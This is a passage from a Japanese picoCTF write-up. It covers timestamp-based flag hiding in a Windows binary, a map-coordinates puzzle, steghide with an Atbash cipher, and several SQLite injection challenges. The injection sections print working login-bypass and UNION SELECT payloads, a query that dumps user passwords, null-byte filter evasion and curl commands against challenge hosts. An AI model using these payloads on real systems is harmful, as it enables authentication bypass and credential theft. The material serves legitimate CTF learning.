-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:24 test/Item06 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:24 test/Item06.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:24 test/Item07 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:24 test/Item07.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:25 test/Item08 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:25 test/Item08.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 20:15 test/ItemTest - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 20:15 test/ItemTest.bmp
20 files, 2408051 bytes uncompressed, 293002 bytes compressed: 87.8%
main.exe
という32ビットのEXEファイルとビットマップ画像ファイル18個を確認できた。
IDAとデバッガ (x32dbg)を駆使してmain.exe
を調べたところ、以下のことが分かった。
flag.txt
からフラグを読み込む。フラグは18バイト。_listdir
関数 (アドレス0x401957
)を呼び出す。_listdir
関数は整数 (0
または1
) とディレクトリを引数として受け取る。第一引数に0
が指定された場合は_hideInFile
関数 (アドレス0x4016FB
)を呼び出し、1
が指定された場合は_decodeBytes
関数 (アドレス0x401573
)を呼び出す。第二引数にはtest
ディレクトリが指定される。_hideInFile
関数はtest
ディレクトリに配置されているファイルを列挙して各ファイルのタイムスタンプを取得し、フラグを各ファイルのタイムスタンプに埋め込むものと思われる。_decodeBytes
関数はtest
ディレクトリに配置されているファイルを列挙して、各ファイルのタイムスタンプに埋め込まれているフラグを取りだすものと思われる。main.exe
をそのまま実行すると、常に_hideInFile
関数が呼び出される。_decodeBytes
関数を呼び出すにはデバッグしてレジスタの値を書き換えるなり、パッチするなりする必要がある。- そのほかに
_decode
関数 (アドレス0x401AFE
)という気になる関数を発見した。この関数は_listdir
関数の第一引数に1
を指定することで_decodeBytes
関数を呼び出し、value of DECODE
というメッセージとともに復号されたフラグを標準出力に出力する模様。ただし、_decode
関数はプログラム中のどこからもcallされていない。
_hideInFile
関数と_decodeBytes
関数をもう少し調べたところ、この関数はtest
ディレクトリに配置されているItem01 - Copy.bmp
~ Item08 - Copy.bmp
およびItemTest - Copy.bmp
のファイルのタイムスタンプにフラグを埋め込む、または取り出すことが分かった。Item01.bmp
~ Item08.bmp
およびItemTest.bmp
は無視される。
_decodeBytes
関数を解析していけば、フラグを取れそうである。
以下は_decodeBytes
関数の処理の一部を抜粋したものである。
GetFileTime
でファイルの作成日時、アクセス日時、変更日時を取得して、それぞれの日時をこねくり回しているのが分かる。
三種類の日時のうち、変更日時に関してはファイルを編集しない限り変化することはないので、フラグを埋め込むとすればここなのではないだろうか。
以下の手順で、変更日時をダンプしてみた。
- アドレス
0x401CB4
(mov [esp], eax
) にブレークポイントをセットして、eax
の値を1
に書き換える。こうすることで_listdir
関数の第一引数に1
が渡されて、_decodeBytes
関数が実行される。 - アドレス
0x401634
(mov eax, [ebp+LastWriteTime.dwLowDateTime]
)にブレークポイントをセットして、[ebp+LastWriteTime.dwLowDateTime]
の値をダンプする。
※もし、ダミーのflag.txt
を用意して1度でもmain.exe
を実行すると、_hideInFile
関数が呼び出されて、元のフラグがダミーのものに上書きされてしまう。その場合はflag.txt
以外のファイルをすべて削除して、あらためてb1g_mac.zip
を解凍し、上記の手順に従いmain.exe
をデバッグする。
以下がダンプされたItem01 - Copy.bmp
の変更日時の値である。
01 d4 e3 61 49 33 70 69
という値がロードされているが、これはファイルの変更日時を16進数で表したものである。 これを10進数に変換すると131980296080027753
となる。
>>> 0x01d4e36149337069
131980296080027753
この18桁の数字はWindowsのFILETIMEと呼ばれるタイムスタンプ形式で、こちらのサイトで日時形式に変換できる。
131980296080027753
を日時形式に変換すると、Monday, March 25, 2019 11:20:08 PM (UTC) となる。
これはItem01 - Copy.bmp
の変更日時と一致している。
メモリにロードされた01 d4 e3 61 49 33 70 69
をよく見てみた。下位2バイト70 69
を16進数デコードするとpi
になるではないか。
どうやら、Item01 - Copy.bmp
~ Item08 - Copy.bmp
およびItemTest - Copy.bmp
の変更日時を16進数形式で取得し、下位2バイトを16進数デコードすれば、フラグを取れそうである。
色々試したところ、以下の手順でフラグを取れた。
test
ディレクトリにItem01 - Copy.bmp
を配置する。ほかのファイルは削除する。 こうしないとアドレス0x4016d7
(mov edx, [eax]
)でデバッガ止まってしまう。(理由は不明)main.exe
をデバッガにロードし、アドレス0x401CB4
(mov [esp], eax
) にブレークポイントをセットして、eax
の値を1
に書き換える。こうすることで_listdir
関数の第一引数に1
が渡されて、_decodeBytes
関数が実行される。- アドレス
0x401634
(mov eax, [ebp+LastWriteTime.dwLowDateTime]
)にブレークポイントをセットして、[ebp+LastWriteTime.dwLowDateTime]
の値をダンプし、下位2バイトを控える。 Item01 - Copy.bmp
を削除して、Item02 - Copy.bmp
を配置する。 2~3のステップを繰り返す。Item02 - Copy.bmp
の確認が終わったら、Item02 - Copy.bmp
を削除して、Item03 - Copy.bmp
を配置し、2~3のステップを繰り返す。ItemTest - Copy.bmp
の確認が終わるまで、これらのステップを繰り返す。
以下が、ダンプされたItem01 - Copy.bmp
~ Item08 - Copy.bmp
およびItemTest - Copy.bmp
の変更日時である。
ファイル名 | 変更日時 (日時形式) | 変更日時 (FILETIME形式) | 変更日時 (16進数形式) | 下位2バイト | デコード結果 |
Item01 - Copy.bmp | Monday, March 25, 2019 11:20:08 PM (UTC) | 131980296080027753 | 01 d4 e3 61 49 33 70 69 | 70 69 | pi |
Item02 - Copy.bmp | Monday, March 25, 2019 11:20:34 PM (UTC) | 131980296340005743 | 01 d4 e3 61 58 b2 63 6f | 63 6f | co |
Item03 - Copy.bmp | Monday, March 25, 2019 11:20:51 PM (UTC) | 131980296510002243 | 01 d4 e3 61 62 d4 54 43 | 54 43 | CT |
Item04 - Copy.bmp | Monday, March 25, 2019 11:21:13 PM (UTC) | 131980296730003067 | 01 d4 e3 61 6f f1 46 7b | 46 7b | F{ |
Item05 - Copy.bmp | Monday, March 25, 2019 11:21:28 PM (UTC) | 131980296889978164 | 01 d4 e3 61 79 7a 4d 34 | 4d 34 | M4 |
Item06 - Copy.bmp | Monday, March 25, 2019 11:24:17 PM (UTC) | 131980298579960660 | 01 d4 e3 61 de 35 63 54 | 63 54 | cT |
Item07 - Copy.bmp | Monday, March 25, 2019 11:24:47 PM (UTC) | 131980298870024557 | 01 d4 e3 61 ef 7f 69 6d | 69 6d | im |
Item08 - Copy.bmp | Monday, March 25, 2019 11:25:55 PM (UTC) | 131980299550012213 | 01 d4 e3 62 18 07 33 35 | 33 35 | 35 |
ItemTest - Copy.bmp | Tuesday, March 26, 2019 12:15:31 AM (UTC) | 131980329319997821 | 01 d4 e3 69 06 75 21 7d | 21 7d | !} |
Mr-Worldwide (200points)
message.txt
に記載されている以下のフラグを解読する問題。
picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}
数字がぱっと見、緯度と経度ぽかったので、Google Mapに上記の数字をぶち込んで実際の住所を取得してみた。
緯度・経度 | 住所 |
35.028309, 135.753082 | Nakanocho, Kamigyo Ward, Kyoto, 602-0958, Japan |
46.469391, 30.740883 | Odesa, Odesa Oblast, Ukraine, 65000 |
39.758949, -84.191605 | Dayton, OH 45402, United States |
41.015137, 28.979530 | Hoca Paşa, 34110 Fatih/İstanbul, Türkiye |
24.466667, 54.366669 | Hazza ' Bin Zayed The First St - Al Manhal - Abu Dhabi - United Arab Emirates |
3.140853, 101.693207 | Room 11, Level 2, Bangunan Sulaiman, Jalan Sultan Hishamuddin, 50000 Kuala Lumpur, Malaysia |
9.005401, 38.763611 | Kirkos, Addis Ababa, Ethiopia |
-3.989038, -79.203560 | Av. Nueva Loja, Loja, Ecuador |
52.377956, 4.897070 | Martelaarsgracht 5, 1012 TM Amsterdam, Netherlands |
41.085651, -73.858467 | Sleepy Hollow, NY 10591, United States |
57.790001, -152.407227 | Tewa dr, Kodiak, AK 99615, United States |
31.205753, 29.924526 | Faculty Of Engineering, Al Azaritah WA Ash Shatebi, Bab Sharqi, Alexandria Governorate 5423021, Egypt |
ここから先が結構苦労した。
住所の先頭の頭文字を繋げてみたり
picoCTF{NODHHR_KAMSTF}
住所の国コードを取得して繋げてみたり
picoCTF{jpuaustraemy_etnlususeg}
picoCTF{JPUAUSTRAEMY_ETNLUSUSEG}
住所のエリアコード(市外局番)を取得して繋げてみたり
picoCTF{075048937021297103_1170209149073}
緯度・経度をGeohashに変換して繋げてみたり
picoCTF{xn0x30sqsn4du8mb7e2zf6rddph4hjvs9mm0sxk976w4rzxythqejnh8ejq9w283f5f8z3rj_scee4p6u387m6pr9m9vdpm3ju173zrjgwn8jdr73xr3vkbrqbd78gbk7nhyzstt38by6evzz}
picoCTF{XN0X30SQSN4DU8MB7E2ZF6RDDPH4HJVS9MM0SXK976W4RZXYTHQEJNH8EJQ9W283F5F8Z3RJ_SCEE4P6U387M6PR9M9VDPM3JU173ZRJGWN8JDR73XR3VKBRQBD78GBK7NHYZSTT38BY6EVZZ}
picoCTF{xudstw_s6udbs}
picoCTF{XUDSTW_S6UDBS}
しかし、いずれも不正解だった。
根気よく解読を続けたところ、住所に記載されている各都市の頭文字を繋げると、フラグになることが分かった。
Nakanocho, Kamigyo Ward, Kyoto, 602-0958, Japan
Odesa, Odesa Oblast, Ukraine, 65000
Dayton, OH 45402, United States
Hoca Paşa, 34110 Fatih/İstanbul, Türkiye
Hazza ' Bin Zayed The First St - Al Manhal - Abu Dhabi - United Arab Emirates
Room 11, Level 2, Bangunan Sulaiman, Jalan Sultan Hishamuddin, 50000 Kuala Lumpur, Malaysia
Kirkos, Addis Ababa, Ethiopia
Av. Nueva Loja, Loja, Ecuador
Martelaarsgracht 5, 1012 TM Amsterdam, Netherlands
Sleepy Hollow, NY 10591, United States
Tewa dr, Kodiak, AK 99615, United States
Faculty Of Engineering, Al Azaritah WA Ash Shatebi, Bab Sharqi, Alexandria Governorate 5423021, Egypt
各都市の頭文字を繋げてアンダースコアを挿入すると、KODIAK_ALASKA
になる。これがフラグだった。
HideToSee (100points)
JPEG画像ファイルatbash.jpg
を解析してフラグを取得する問題。
steghideを使ってencrypted.txt
を抽出することが出来た。(パスフレーズは必要なし)
sudo apt install steghide
$ steghide extract --stegofile atbash.jpg
Enter passphrase:
wrote extracted data to "encrypted.txt".
以下はencrypted.txt
の中身。atbash.jpg
というファイル名で示唆されているが、フラグはAtbash暗号化されていた。CyberChefのAtbash Cipherでフラグを復号できた。
$ cat encrypted.txt
krxlXGU{zgyzhs_xizxp_zx751vx6}
SQLiLite (300points)
Webサイトを解析してフラグを取得する問題。
サーバーのインスタンスを起動すると、Webサイトへのリンクが現れた。
Webサイトにアクセスすると、ログインページが現れた。
問題のタイトルから察するにSQLインジェクションでログイン認証を回避すれば良さそう。
ユーザー名にadmin
、パスワードに' or '1' = '1
を指定したところ、ログインに成功し、以下のメッセージが表示された。
username: admin
password: password: ' or '1' = '1
SQL query: SELECT * FROM users WHERE name='admin' AND password='password: ' or '1' = '1'
Logged in! But can you see the flag, it is in plainsight.
ページのソースコードを表示したところ、フラグが現れた。
<pre>username: admin
password: password: ' or '1' = '1
SQL query: SELECT * FROM users WHERE name='admin' AND password='password: ' or '1' = '1'
</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_<REDACTED>}</p>
More SQLi (200points)
Webサイトを解析してフラグを取得する問題。
サーバーのインスタンスを起動すると、Webサイトへのリンクが現れた。
Webサイトにアクセスすると、ログインページが現れた。
問題のタイトルから察するにSQLインジェクションでログイン認証を回避すれば良さそう。
ユーザー名にadmin
、パスワードに' or '1' = '1
を指定したところ、以下のメッセージが表示された。
username: admin
password: ' or '1' = '1
SQL query: SELECT id FROM users WHERE password = '' or '1' = '1' AND username = 'admin'
どうやら、まず最初にパスワードのチェックが行われ、次にユーザー名のチェックが行われる模様。
ということは、パスワードに' or 1 = 1 --
と指定すれば、認証を回避できそう。
以下はパスワードに' or 1 = 1 --
と指定した場合に生成されるSQL文である。
SELECT id FROM users WHERE password = '' or 1 = 1 -- AND username = 'admin'
or 1 = 1
で結果は常に真となり、--AND username
以降はコメント扱いになり、無視される。
予想通り、ユーザー名にadmin
、パスワードに' or 1 = 1 --
を指定したところ、ログインに成功した。
以下がログイン後に表示されたページである。
オフィスの検索ページのようである。
このページは基本的に都市名 (City)からしか検索できない。 住所 (Address)や電話番号 (Phone)を検索フォームに入力しても、結果が表示されない。
試しに電話番号 +246 8-616 99 40で検索してみたが、検索結果は空だった。
しかし、こちらの検索ページもログインページと同様にSQLインジェクションに対して脆弱なため、以下のように細工したリクエストを送ると、住所や電話番号からも検索出来た。
' or address = 'Karl Johans gate 23B, 4. etasje' --
' or phone = '+246 8-616 99 40' --
さて、オフィスの一覧を眺めたところ、Kampala
のAddress欄がMaybe all the tables
というメッセージになっていることに気が付いた。
SQLインジェクションを行い、データベースのテーブル一覧を取得できればフラグを取れると思われる。
しかし、肝心のSQLインジェクションのクエリがなかなか思いつかなかったので、ヒントを見てみた。
以下、ヒント。
SQLiLite
どうやらデーターベースにはSQLiteを使用しているようである。これで、ある程度SQLインジェクションに使用する書式を絞り込むことができる。
ここで、オフィスの検索ページで生成されるSQL文を推測してみた。
検索フォームにキーワードを入力すると、おそらく以下のようなSQL文が生成されると思われる。
SELECT city,address,phone FROM table_name
検索の結果、返されるカラムは全部で3つで、すべて文字列型である。このことからUNION SELECT
文が攻撃に利用できそうである。
UNION
命令を利用すると2つ以上の異なるデータベースに対してSELECT
命令を送り、結果をまとめて取得することができる。
以下に例を示す。
SELECT hoge,fuga FROM table1 UNION SELECT foo,bar FROM table2
上記のSQL文はtable1
テーブルからhoge
とfuga
というカラムを、table2
テーブルからfoo
とbar
というカラムをまとめて抽出する。
UNION SELECT
文を攻撃に利用する際は以下の点に注意する必要がある。
- それぞれの
SELECT
命令が同じ数のカラムを返すこと。上記の例だと1つ目のSELECT
命令が2つのカラムを指定しているので、2つ目のSELECT
命令でもカラムを2つ指定しなければいけない。カラム名が不明な場合はNULL
を指定することで、数を合わせることが出来る。 - それぞれのカラムのデータの型が一致していること。上記の例だと、
hoge
とfoo
、fuga
とbar
の型が一致していなければならない。
検索フォームに以下のSQL文を入力して、UNION SELECT
が攻撃に利用できるか確認してみた。
' UNION SELECT 'hoge','foo','bar' --
UNION SELECT
文が成功して、hoge
、foo
、bar
という文字列が返ってきた。
あとはUNION SELECT
文を利用して、データベースのテーブル一覧を取得するだけである。
調べたところ、SQLiteではsqlite_schema
スキーマにテーブル情報が保持されているようである。
検索フォームに以下のSQL文を入力してみた。
' UNION SELECT name,tbl_name,sql FROM sqlite_schema --
しかし、何も結果が返ってこなかった。
先述したリンクをよく見てみると、sqlite_schema
スキーマの代わりに以下のスキーマ名も利用できるらしい。
sqlite_master
sqlite_temp_schema
sqlite_temp_master
sqlite_schema
の代わりにsqlite_master
を指定してみた。
' UNION SELECT name,tbl_name,sql FROM sqlite_master --
すると、テーブル情報を取得できた。
どうやらmore_table
テーブルにflag
というデータが保持されているらしい。
ほかにもオフィスの情報を保持しているoffices
テーブルや、ユーザー情報を保持していると思われるusers
テーブルの存在も確認できた。
検索フォームに以下のSQL文を入力したところ、more_table
テーブルからフラグを取得できた。
' UNION SELECT flag,NULL,NULL FROM more_table --
これまでのSQLインジェクション攻撃によって、アプリケーション内部では以下のようなSQL文が組立てられていたものと思われる。
SELECT city,address,phone FROM offices WHERE city = '' UNION SELECT name,tbl_name,sql FROM sqlite_master --
SELECT city,address,phone FROM offices WHERE city = '' UNION SELECT flag,NULL,NULL FROM more_table --
おまけ
問題は解けたが、折角なのでSQLインジェクションの勉強がてら、少し遊んでみた。
SQLiteのバージョンを取得する
' UNION SELECT 'hoge','fuga',sqlite_version() --
オフィスの一覧をAddressでソートする
' or 1 = 1 ORDER BY address --
usersテーブルからID、ユーザー名、パスワードを抽出
' UNION SELECT id,name,password FROM users --
Web Gauntlet (200points)
Webサイトのログインページ http://jupiter.challenges.picoctf.org:29164/
にadmin
としてログインせよとのこと。
http://jupiter.challenges.picoctf.org:29164/filter.php
にアクセスすると、SQLインジェクション対策としてフィルターされている文字が確認できる。
Round1: or
or
がフィルターされている模様。
フラグを取得するには上記のログインページへのログインを5回 成功させなければいけないらしい。
1回目のログイン
ユーザー名にadmin' --
(パスワードは適当)と入力したところ、ログインできた。
2回目のログイン
http://jupiter.challenges.picoctf.org:29164/filter.php
を確認したところ、新たにand
like
=
--
がフィルターに追加されていた。
Round2: or and like = --
ユーザー名にadmin' /*
(パスワードは適当)と入力したところ、ログインできた。
3回目のログイン
http://jupiter.challenges.picoctf.org:29164/filter.php
を確認したところ、新たに >
<
がフィルターに追加されていた。
Round3: or and = like > < --
3回目でハマってしまったので、ヒントを見てみた。
以下、ヒント。
You are not allowed to login with valid credentials.
Write down the injections you use in case you lose your progress.
For some filters it may be hard to see the characters, always (always) look at the raw hex in the response.
sqlite
If your cookie keeps getting reset, try using a private browser window
どうやら、データベースにはSQLiteが使用されている模様。また、フィルターされている一部の文字は視認しにくいため、常にサーバーからのレスポンスをHex形式で確認せよとのこと。
試しにadmin' /*
から空白を削除して、ユーザー名にadmin'/*
(パスワードは適当)と入力したところ、ログインできた。どうやら、空白もフィルターに追加されていたらしい。
4回目のログイン
http://jupiter.challenges.picoctf.org:29164/filter.php
を確認したところ、新たにadmin
がフィルターに追加されていた。
Round4: or and = like > < -- admin
フィルターを回避して、上手いことadmin
というユーザー名を送り込まないといけない。
ユーザー名にadm'||'in'/*
(パスワードは適当)と入力したところ、ログインできた。(SQLiteにおいて、||
は文字列の連結を行う演算子である。)
5回目のログイン
http://jupiter.challenges.picoctf.org:29164/filter.php
を確認したところ、新たにunion
がフィルターに追加されていた。
Round5: or and = like > < -- union admin
先ほどと同様に、ユーザー名にadm'||'in'/*
(パスワードは適当)と入力したところ、ログインできた。
http://jupiter.challenges.picoctf.org:29164/filter.php
を確認したところ、PHPのソースコードが現れた。コメントにフラグが記載されていた。
<?php
session_start();
if (!isset($_SESSION["round"])) {
$_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
if ($round === 1) {
$filter = array("or");
if ($view) {
echo "Round1: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 2) {
$filter = array("or", "and", "like", "=", "--");
if ($view) {
echo "Round2: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 3) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
// $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round3: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 4) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
// $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round4: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 5) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
// $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round5: ".implode(" ", $filter)."<br/>";
}
} else if ($round >= 6) {
if ($view) {
highlight_file("filter.php");
}
} else {
$_SESSION["round"] = 1;
}
// picoCTF{y0u_m4d3_1t_a3ed4355668e74af0ecbb7496c8<REDACTED>}
?>
Web Gauntlet 2 (170points)
Webサイトのログインページhttp://mercury.picoctf.net:65261/index.php
にadmin
としてログインせよとのこと。
以下はログインページのソースコードである。
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Filtered SQLite Injection Challenge #2</h5>
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
http://mercury.picoctf.net:65261/filter.php
にアクセスすると、SQLインジェクション対策としてフィルターされている文字が確認できる。
Filters: or and true false union like = > < ; -- /* */ admin
Web Gauntletと比べると、とうとう/*
や*/
までフィルターされてしまった。
これらのフィルターを回避して、admin
というユーザー名を上手いこと送り込まないといけない。
文字の連結を行う||
がフィルターされていないので、こいつを使えば良さそう。(picoCTFの過去問の傾向から使用しているデータベースはSQLiteに決め打ち)
以下は試してみたSQLインジェクションのペイロードの一例。
adm'||'in'||'/'||'*
adm'||'in'||'/'||'*'
aaaaaadm'||'in'||'/'||'*
a'||'d'||'m'||'i'||'n'||'/'||'*
adm'||'in'X'2f2a'
adm'||'in'X'2f2a
しかし、どれも通らなかった。
ヒントを見てみた。以下、ヒント。
I tried to make it a little bit less contrived since the mini competition.
Each filter is separated by a space. Spaces are not filtered.
There is only 1 round this time, when you beat it the flag will be in filter.php.
There is a length component now.
sqlite
まとめると、
- 空白はフィルターされていない。
- 一度ログインに成功すれば、
filter.php
にフラグが現れる。 - 送り込めるペイロードのサイズを制限している。(パスワードとユーザー名を含めて35バイト未満まで送れる。)
- データベースにはSQLiteを使用している。
色々、ググっているとコメント (--
、/*
、*/
)がフィルターされている場合はヌルバイトで回避できるらしい。
試しにユーザー名にadm'||'in'%00
(パスワードは適当)と入力してみたが、ログインできなかった。
ブラウザを使用しているからダメなのでは?と思い、以下のcurlコマンドでユーザー名 adm'||'in'%00
とパスワード 1
をhttp://mercury.picoctf.net:65261/index.php
に送ってみた。
curl -i http://mercury.picoctf.net:65261/index.php -d "user=adm'||'in'%00" -d "pass=1"
以下はサーバーからの応答。
$ curl -i http://mercury.picoctf.net:65261/index.php -d "user=adm'||'in'%00" -d "pass=1"
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=nb0vvp5700sm6durrde9og4trq; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Set-Cookie
ヘッダーで送られてきた値をクッキーにセットしてhttp://mercury.picoctf.net:65261/filter.php
にアクセスしたところ、フラグを取れた。
curl -i http://mercury.picoctf.net:65261/filter.php -H "Cookie: PHPSESSID=nb0vvp5700sm6durrde9og4trq"
$ curl -i http://mercury.picoctf.net:65261/filter.php -H "Cookie: PHPSESSID=nb0vvp5700sm6durrde9og4trq"
HTTP/1.1 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />session_start</span><span style="color: #007700">();<br /><br />if (!isset(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">])) {<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">] = </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /></span><span style="color: #0000BB">$win </span><span style="color: #007700">= </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$view </span><span style="color: #007700">= (</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">"PHP_SELF"</span><span style="color: #007700">] == </span><span style="color: #DD0000">"/filter.php"</span><span style="color: #007700">);<br /><br />if (</span><span style="color: #0000BB">$win </span><span style="color: #007700">=== </span><span style="color: #0000BB">0</span><span style="color: #007700">) {<br /> </span><span style="color: #0000BB">$filter </span><span style="color: #007700">= array(</span><span style="color: #DD0000">"or"</span><span style="color: #007700">, </span><span style="color: #DD0000">"and"</span><span style="color: #007700">, </span><span style="color: #DD0000">"true"</span><span style="color: #007700">, </span><span style="color: #DD0000">"false"</span><span style="color: #007700">, </span><span style="color: #DD0000">"union"</span><span style="color: #007700">, </span><span style="color: #DD0000">"like"</span><span style="color: #007700">, </span><span style="color: #DD0000">"="</span><span style="color: #007700">, </span><span style="color: #DD0000">">"</span><span style="color: #007700">, </span><span style="color: #DD0000">"<"</span><span style="color: #007700">, </span><span style="color: #DD0000">";"</span><span style="color: #007700">, </span><span style="color: #DD0000">"--"</span><span style="color: #007700">, </span><span style="color: #DD0000">"/*"</span><span style="color: #007700">, </span><span style="color: #DD0000">"*/"</span><span style="color: #007700">, </span><span style="color: #DD0000">"admin"</span><span style="color: #007700">);<br /> if (</span><span style="color: #0000BB">$view</span><span style="color: #007700">) {<br /> echo </span><span style="color: #DD0000">"Filters: "</span><span style="color: #007700">.</span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">" "</span><span style="color: #007700">, </span><span style="color: #0000BB">$filter</span><span style="color: #007700">).</span><span style="color: #DD0000">"<br/>"</span><span style="color: #007700">;<br /> }<br />} else if (</span><span style="color: #0000BB">$win </span><span style="color: #007700">=== </span><span style="color: #0000BB">1</span><span style="color: #007700">) {<br /> if (</span><span style="color: #0000BB">$view</span><span style="color: #007700">) {<br /> </span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"filter.php"</span><span style="color: #007700">);<br /> }<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">] = </span><span style="color: #0000BB">0</span><span style="color: #007700">; </span><span style="color: #FF8000">// <- Don't refresh!<br /></span><span style="color: #007700">} else {<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">] = </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">// picoCTF{0n3_m0r3_t1m3_e2db86ae880862ad471aa4c93343<REDACTED>}<br /></span><span style="color: #0000BB">?><br /></span>
</span>
</code>
上述したSQLインジェクションによって、以下のSQL文が生成される。
SELECT username, password FROM users WHERE username='adm'||'in'%00' AND password='1'
ヌルバイト (%00
)が文字列の終端と見なされるため、' AND password='1'
は無視される。
Web Gauntlet 3 (300points)
Webサイトのログインページhttp://mercury.picoctf.net:8650/index.php
にadmin
としてログインせよとのこと。
以下はログインページのソースコードである。
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Filtered SQLite Injection Challenge #3</h5>
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
http://mercury.picoctf.net:8650/filter.php
にアクセスすると、SQLインジェクション対策としてフィルターされている文字が確認できる。
Filters: or and true false union like = > < ; -- /* */ admin
Web Gauntlet 2と全く同じ要領でフラグを取れた。
curl -i http://mercury.picoctf.net:8650/index.php -d "user=adm'||'in'%00" -d "pass=1"
$ curl -i http://mercury.picoctf.net:8650/index.php -d "user=adm'||'in'%00" -d "pass=1"
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=tfnn4980lb5676c4aspcpqfmue; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
